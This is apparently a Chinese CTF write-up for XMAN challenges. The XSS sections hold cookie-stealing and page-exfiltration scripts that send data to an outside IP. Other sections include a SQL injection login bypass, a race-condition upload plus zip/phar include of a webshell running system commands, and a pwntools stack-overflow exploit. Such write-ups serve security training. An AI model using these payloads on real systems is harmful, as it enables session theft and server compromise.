XSS1
經(jīng)過測試發(fā)現(xiàn) :
單引號(hào)替換成了下劃線
#!/usr/bin/env python
# encoding: utf-8
import hashlib
import random
import sys
import string
def m(content):
return hashlib.md5(content).hexdigest()
def main():
start = sys.argv[1]
while True:
content = ""
for i in range(0x08):
content += random.choice(string.letters)
print "[-] [%s]" % (content)
if m(content).startswith(start):
print "[+] Found : [%s]" % (content)
break
if __name__ == "__main__":
main()
// 根據(jù)大佬的ppt中的繞過 csp 的 payload , 可以直接利用
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c=" + document.cookie);
document.head.appendChild(n0t);
</script>
admin=xman{eVEn_CSP_you_G37_mY_C00K1e}
Login
先掃一波目錄
SourceLeakHacker ?? python SourceLeakHacker.py http://202.112.51.217:8099/ 32 32
[ 200 ] Checking : http://202.112.51.217:8099/index.php
[ 200 ] Checking : http://202.112.51.217:8099/
[ 403 ] Checking : http://202.112.51.217:8099/.htaccess
[ 403 ] Checking : http://202.112.51.217:8099/.hta
[ 403 ] Checking : http://202.112.51.217:8099/.htpasswd
[ 200 ] Checking : http://202.112.51.217:8099/css/
[ 200 ] Checking : http://202.112.51.217:8099/fonts/
[ 403 ] Checking : http://202.112.51.217:8099/icons/
[ 200 ] Checking : http://202.112.51.217:8099/index.php/
[ 200 ] Checking : http://202.112.51.217:8099/js/
[ 403 ] Checking : http://202.112.51.217:8099/server-status/
查看源碼 , 發(fā)現(xiàn)如下信息 :
if ($result!=null&&$result->rowCount()==1){
echo $flag;
}
我們只需要控制 sql 語句讓結(jié)果集不為空而且長度大于 0 即可
payload 為 : username=admin'%23&password=xman
XMAN{B4by_SqL1_w1th_L1mit}
protocol
據(jù)大佬說用 AWVS 可以掃出心臟滴血漏洞
在 AWVS 的漏洞報(bào)告里面就有 leak 出的內(nèi)存數(shù)據(jù)
leak出來的內(nèi)存中就有類似 post 數(shù)據(jù)的用戶密碼
然后直接登錄就可以得到 flag
Misc150
首先把 gif 圖片分幀
然后寫腳本跑一下即可得到二進(jìn)制的字符串
#!/usr/bin/env python
# encoding: utf-8
from PIL import Image
Im = Image.new("L", (400, 400))
def average(im):
height = im.size[0]
width = im.size[1]
s = 0
for i in range(height):
for j in range(width):
s += im.getpixel((i,j))[0]
result = s / (height * width)
print "[+] [%d]" % (result)
return result
result = ""
for i in range(304):
filename = "IMG%05d.bmp" % (i)
im = Image.open(filename)
if average(im) > 127:
result += "0"
else:
result += "1"
print result
Im.save("result.bmp")
baby web
存在文件包含漏洞 , 可以使用 php://filter 結(jié)合 base64-encode 的 converter 在文件包含之前將文件內(nèi)容過濾一遍
這樣在包含 php 文件的時(shí)候 base64 就已經(jīng)不是符合 php 語法規(guī)范的了
在 php 解析的時(shí)候會(huì)將這些內(nèi)容作為 dataStatus 的內(nèi)容直接顯示出來
下面是讀取到的源碼 :
// index.php
<?php
require("header.php");
$page="";
if (isset($_GET['page']))
{
$page=strtolower($_GET['page']);
$page=str_replace("#", "", $page);
$page=str_replace("'", "", $page);
$page=$page.".php";
}
else
$page="main.php";
include($page);
?>
// upload
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允許的文件類型矗晃!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允許的文件類型吨拗!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移動(dòng)失敗!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "圖片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>
根據(jù)對(duì) upload.php 的審計(jì)
首先前面兩個(gè)對(duì)文件的后綴名和文件類型判斷的條件都可以很容易就繞過
因?yàn)樗麄兪聦?shí)上獲取到的是客戶端可控的數(shù)據(jù) , 只需要在客戶端修改發(fā)送的 http 請(qǐng)求包即可
可以發(fā)現(xiàn)這里存在一個(gè)非常可疑的一點(diǎn) :
在移動(dòng) tmp 文件到 uploads 目錄下的之后 , 調(diào)用了 sleep 函數(shù)睡了兩秒
這里在這兩秒鐘之內(nèi)這個(gè)文件是存在于服務(wù)器上的
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移動(dòng)失敗!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
只要我們可以在這兩秒之內(nèi)拿到文件名即可將其包含 , 觸發(fā)文件包含漏洞
現(xiàn)在的問題在于如何獲得文件名
經(jīng)過掃描目錄發(fā)現(xiàn)這里 uploads 目錄是可以列目錄的
這個(gè)是因?yàn)楣芾韱T在配置 apache 的時(shí)候 , apache 的虛擬主機(jī)的配置文件沒有配置正確
在 Linux 下 , 這個(gè)配置文件在 : /etc/apache2/apache2.conf
具體內(nèi)容如下 :
<Directory /var/www/>
Options FollowSymLinks Indexes
AllowOverride ALL
Require all granted
</Directory>
參考資料 : http://www.ducea.com/2006/06/26/apache-tips-tricks-disable-directory-indexes/
然后我們就可以寫腳本去獲取最新產(chǎn)生的文件名
腳本如下 :
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
print files[-1]
獲取到了之后再去使用文件包含漏洞去包含這個(gè)文件即可
但是這里有一個(gè)需要注意的一點(diǎn) :
index.php 的 page 參數(shù)后添加 .php
因此需要使用 php 的 zip 協(xié)議去包含這個(gè)文件
關(guān)于 zip 協(xié)議可以參考 :
所以我們可以先新建一個(gè) php 文件 , 寫入一句話木馬
然后將其打包成壓縮包 , 再將其后綴名修改成 jpg 或者 gif
最后上傳
然后在包含這個(gè)文件的時(shí)候 , page 參數(shù)添加上后面的 .php 就會(huì)變成 :
zip://uploads/filename.jpg#webshell.php
這里放出利用腳本 :
upload.py
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/upload.php"
data = {
'title': 'admin',
'url': 'admin'
}
files = {'pic': ('xman.jpg', open("filename.zip").read(), 'image/jpeg')}
# 這里使用 requests 庫來上傳文件有幾種方式
# 這種方式可以控制文件名以及文件類型
# 可以用來繞過基于客戶端的文件名和文件類型檢測
response = requests.post(url, data=data, files=files)
content = response.content
print content
include.py
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
filename = files[-1]
url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('head *');"
print requests.get(url).content
total 56
drwxr-xr-x 14 root root 4096 Aug 8 02:41 .
drwxr-xr-x 8 root root 4096 Aug 7 15:30 ..
drwxrwxr-x 2 root root 4096 Aug 8 02:41 css
drwxrwxr-x 2 root root 4096 Aug 8 02:41 fonts
-rw-rw-r-- 1 root root 1688 Aug 6 02:45 header.php
-rw-rw-r-- 1 root root 265 Aug 7 15:52 index.php
drwxrwxr-x 2 root root 4096 Aug 8 02:41 js
-rw-rw-r-- 1 root root 2714 Mar 20 2016 main.php
-rw-rw-r-- 1 root root 470 Apr 1 2016 show.php
-rw-rw-r-- 1 root root 2377 Mar 20 2016 submit.php
-rw-rw-r-- 1 root root 2205 Aug 8 01:47 upload.php
drwxrwxrwx 2 root root 4096 Aug 8 04:04 uploads
-rw-rw-r-- 1 root root 707 Mar 20 2016 view.php
-rw-rw-r-- 1 root root 44 Aug 7 14:36 xxxxxxxxxasdasf_flag.php
<?php
$flag="XMAN{Rush_Rush_oo000}";
?>
XMAN{Rush_Rush_oo000}
MISC 100
1. zip偽加密
2. 得到一個(gè) png , binwalk -e 直接解壓 , 然后直接查看解壓出的數(shù)據(jù)即可得到 flag
XMAN{Png_HIde_sEcret}
Xor
這個(gè)題目使用了一種比較笨的方法做出來了
思路是下斷點(diǎn)到最后判斷用戶輸入是否正確的 if 語句
動(dòng)態(tài)調(diào)試 , 分別得到 eax 的兩個(gè)值 , 將這兩個(gè)值異或之后就得到了flag的一個(gè)字節(jié)
然后直接一個(gè)字節(jié)一個(gè)字節(jié)動(dòng)態(tài)調(diào)試就可以還原出整個(gè) flag
我覺得整個(gè)題目應(yīng)該是可以直接使用 idc 的腳本
或者 ida-python 的腳本直接就可以跑出來
如果有哪位好心的大佬會(huì)的話求告知 , 感謝 orz
XMAN{X0r_iS_Easy_Hahaha}
XSS2 :
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML);
document.head.appendChild(n0t);</script>
<script>
function get(){
content=document.getElementById("wangyihang").innerHTML;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c="+content);
document.head.appendChild(n0t);
}
</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML);
document.head.appendChild(n0t);</script>
<script>
function get(){
i=document.frames["wangyihang"];
console.log(i.document.innerHTML);
}
</script>
<iframe src="http://baidu.com/" onload="get()" name="wangyihang"></iframe>
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c="+document.body);
document.head.appendChild(n0t);</script>
document.getElementsByTagName('html')[0].innerHTML;
<script>
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML));
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?d="+escape(window.top.document.cookie));
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?d="+escape(window.top.document.cookie));
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
window.location="http://123.207.40.26:65534/?f=";
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML)+"&d="+ifr.document.cookie);
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<iframe src="javascript:i=document.createElement('iframe');i.src='admin.php';i['onlo'+'ad']=function(){parent.window['locat'+'ion'].</iframe>
<iframe src=javascript:i=document.createElement("iframe");i.src="admin.php";i["onlo"+"ad"]=function(){parent.window["locat"+"ion"].+escape(this.contentWindow.document.cookie)};document.body.append(i)>
</iframe>
<script src="./js/jquery.min.js"></script>
<script>
$.get("http://202.112.51.217:43426/flag.php", function(data){
window.location.+data;
})
</script>
嘗試了好多 payload 結(jié)果發(fā)現(xiàn)死活不能得到管理員的 cookie , 最后根據(jù) hint 得到 存在 flag.php
想到管理員如果去訪問 flag.php 是可以直接訪問得到 flag 的
所以最終的 payload 是先引入 jquery , 然后直接使用 get 方法讓管理員去訪問 flag.php 然后再將得到的結(jié)果發(fā)送到 xss 平臺(tái)即可
xman{OH_Y0u_G37_mY_secreT_F14G!}
維吉尼亞
直接用一個(gè)很叼的在線網(wǎng)站去解 , 連秘鑰都不需要
暫時(shí)不太清楚這個(gè)網(wǎng)站的原理 , 簡直神奇
XMAN{CLASSICCRYPTOGRAPHYISEASYTOBREAK}
easy heap
#!/usr/bin/env python
from pwn import *
offset = 56
# p = process('./easyheap')
p = remote('202.112.51.217' , 24598)
p.recvuntil('name?\n')
p.sendline('1')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('Name:\n')
p.sendline('1')
p.recvuntil('choice : ')
p.sendline('3')
p.recvuntil('info:\n')
address = 0x400766
payload = 'a' * offset + p64(address)
p.sendline(payload)
p.recvuntil('choice : ')
p.sendline('2')
p.interactive()
藏了一個(gè) /bin/sh 直接棧溢出覆蓋到返回地址即可
XMAN{cie3rejo0muash0phieno8ohThipae6x}
木頭人 :
23731263
111628163518122316391715262121
23 x
73 m
12 a
63 n
11 q
16 y
28 k
16 y
35 b
18 i
12 w
23 d
16 y
39 .
17 u
15 t
26 h
21 a
21 a
xman{qykybiwdy.uthaa} ???
有個(gè)比較坑的一點(diǎn)是 { } 這兩個(gè)字符在鍵盤坐標(biāo)中的橫坐標(biāo)是兩位數(shù)